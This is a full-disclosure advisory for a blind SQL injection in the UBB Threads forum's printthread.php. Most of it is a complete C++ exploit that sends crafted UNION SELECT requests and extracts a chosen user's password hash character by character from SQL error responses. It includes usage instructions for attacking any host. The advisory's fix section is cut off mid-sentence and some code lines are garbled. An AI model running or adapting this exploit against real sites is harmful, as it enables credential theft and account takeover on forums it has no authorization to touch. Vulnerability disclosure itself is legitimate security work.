UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability Full Disclosure Bug discovered By: Axl Exploit By: HLL (hllhll at gmail.com) 1. Introduction There Is a flaw in printthread.php due to insufficient bound checking of the 'main' query parameter wich allows a malicues SQL to be injected threw the querys 2. Description The main query parameter is used twice in this page, in different queries and in different number of columbs thus, the popular 'UNION SELECT' method will is not applicable, because a correct response of the first query, makes the second query to be invalid, and because of that, any output that was is dismissed and an error message only for the second query is shown The catch is, that the second query execution is conditional to the results of the first one If no results are returned from the first query the second query is not processed, thus, no SQL error will output So, as you see in the POC Exploit below this can be used to still use output from the first query not as a text\numbers but as a "Are there any results" way. If the fisrt query would have 0 rows returnd, there will be no SQL error If at least 1 row is returned, then An SQL Error will show. 3. Solution Add in the beginning of the PHP file(printthread.php) after the PHP-Code tag ( gmail.com //HLLUBBThreadsExploit.cpp /* 4. Exploitation UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability Usage: HLLUBBThreadsExploit.exe Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2 Vulnerability discovered by: Axl Exploit Coded by HLL: hllhll gmail.com */ #include #include #include #include #pragma comment (lib,"ws2_32") void usage(char *argv[]) { cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl; cout << "[+] Usage:" << endl; cout << "[+] " << argv[0] << " " << endl; cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl; } int main(int argc, char *argv[]){ WSADATA wsaData; struct sockaddr_in saddr; WSAStartup(MAKEWORD(1, 1), &wsaData); struct hostent *h; char hash[34]={0}; int rcvlen; char ch; int flag, pos; int countwait; SOCKET sock; char req[400]; char buf[600]; char rcvbuf[10000]; char rcvtmpbuf[1024]; char *host=argv[1]; //Server char *path=argv[2]; // Path to /ubbthreads/printthread.php char *fname=argv[3]; //Forum name int uid=atoi(argv[4]); //User id if (argv!=5){ usage(argv); return(0); } //Resolve address (will work also if this is an IP) cout << "[+] Resolving host... "; if (!(h=gethostbyname(host))) { cout << "FAILD!" << endl; return(1); } cout << "Done." << endl; saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0]; memset(saddr.sin_zero, 0, 8); saddr.sin_port=htons(80); saddr.sin_family=AF_INET; cout << "[+] Exploiting target... " << endl; for (pos=1; pos<=32; pos++) { for (ch='0'; ch<='F'; ch++) { if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { cout << "FAILD CREATING SOCKET!" << endl; return(1); } if (ch==':') ch='A'; //If finished all digits, jump to hex digits //Prepare reqest sprintf(req, "%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32); if (ch>='A' && ch<='Z') sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32); sprintf(req, "%s)AND(u_number=%d)/*", req, uid); sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req, host); connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) ); send(sock, buf, strlen(buf), 0); cout << "[+] Char: " << ch << endl; //Loop untill disconnection or recognized string flag=0; countwait=0; *rcvbuf=NULL; while(!flag){ Sleep(30); if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){ rcvtmpbuf[rcvlen]=NULL; strcat(rcvbuf, rcvtmpbuf); } if ( (++countwait) == 30) flag=2; if ( strstr(rcvbuf, "SQL Error")) flag=1; } if (flag==1){ //Char found cout << "[+] Char " << ch << " In pos " << pos << endl; hash[pos-1]=ch; ch='G'; } closesocket(sock); } } hash[32]=NULL; cout << endl << "The hash for user id" << uid << "is: " << hash << endl; WSACleanup(); return (0); }